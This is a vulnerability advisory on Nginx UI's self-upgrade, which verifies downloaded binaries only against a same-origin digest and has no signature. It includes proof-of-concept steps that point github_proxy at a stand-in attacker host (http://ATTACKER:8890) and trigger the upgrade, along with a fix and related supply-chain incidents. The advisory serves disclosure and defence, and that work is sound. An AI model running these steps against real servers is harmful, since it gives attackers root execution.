Résumé
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Détails de l’avis
Summary
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>— used for BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
- Set the download origin to the attacker server (here via
github_proxy; in scenarios A/B this is instead a compromised mirror / MITM):POST /api/settingswithhttp.github_proxy = http://ATTACKER:8890-> 200. The field accepts the http URL. - Trigger the upgrade: WS
GET /api/upgrade/perform, send{"channel":"stable"}. - Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digestand.../nginx-ui-linux-64.tar.gz(over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container:
/tmp/UPGRADE_PWNED=UPGRADE_RCE_EXECUTED uid=0-> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.
- The attacker server received BOTH
Impact
Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
Honest scope / caveats
- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising
cloud.nginxui.com/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to
cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).
Suggested fix
Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy
as a protected setting.
Dedup / novelty
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-86063
Claude Code: Plugin Hash Pin Bypass Allows Bypass of Hash Pinning
- HIGHCVE-2026-102930
virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use
- MEDIUMCVE-2026-12259
NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection
- HIGHSC-NOTEPADPP-CHRYSALIS-2025
In 2025, a Chinese state-linked espionage group hijacked the update channel of Notepad++, one of the most widely installed Windows text editors, to plant a custom backdoor on a handful of carefully chosen targets. The attackers never touched Notepad++'s source code or its signing keys. Instead they compromised the third-party shared-hosting server that delivered updates, and abused the fact that the WinGUp updater shipped without any integrity check on what it downloaded (tracked as CVE-2025-15556). For machines on their target list, WinGUp was silently redirected to attacker-controlled servers that served a trojanized installer; everyone else kept receiving the genuine update. The campaign ran from roughly June to December 2025 and was only made public in February 2026 by Rapid7, with Kaspersky and Broadcom/Symantec corroborating it independently.
- HIGHSC-ESCAN-RELOAD-2026
On or around January 20, 2026, attackers who had broken into a regional update server for eScan, the antivirus product made by India's MicroWorld Technologies, pushed a trojanized Reload.exe through the legitimate update channel during a window of roughly two hours. The security software itself became the delivery vehicle for malware. The malicious binary carried eScan's code-signing identity, but its signature was actually invalid; it ran anyway because the updater trusted the channel rather than rigorously validating the signature. Once on a host, the malware rewrote the Windows HOSTS file to cut eScan off from its own update servers, blinded script scanning, and reached out to takedown-resistant command-and-control hosted on blockchain naming systems. Morphisec disclosed the campaign, with Kaspersky and Darktrace corroborating it independently.
- CRITICALCVE-2019-15107
Disclosed in August 2019, CVE-2019-15107 was an unauthenticated remote code execution backdoor in Webmin, a widely deployed web-based system administration tool that runs with root privileges. The backdoor existed in the password_change.cgi feature: a Perl qx() statement passed the unsanitized old (and in some versions expired) parameter from the password-change request straight to a shell, letting an unauthenticated attacker run arbitrary commands as root, with version 1.890 exploitable in its default configuration and 1.900 through 1.920 exploitable when password expiry was enabled. Critically, the malicious code was never present in Webmin's GitHub source, which remained clean; it was inserted directly into the build infrastructure that produced the official SourceForge release packages, so users who installed signed official builds were backdoored while anyone auditing the public Git source saw nothing wrong. Webmin later confirmed the code was added on its build server on two separate occasions, in April 2018 producing the 1.890 release and again in July 2018 reintroducing it into 1.900 through 1.920, meaning backdoored builds were distributed for over a year. The project released 1.930 on August 17, 2019 to remove the backdoor.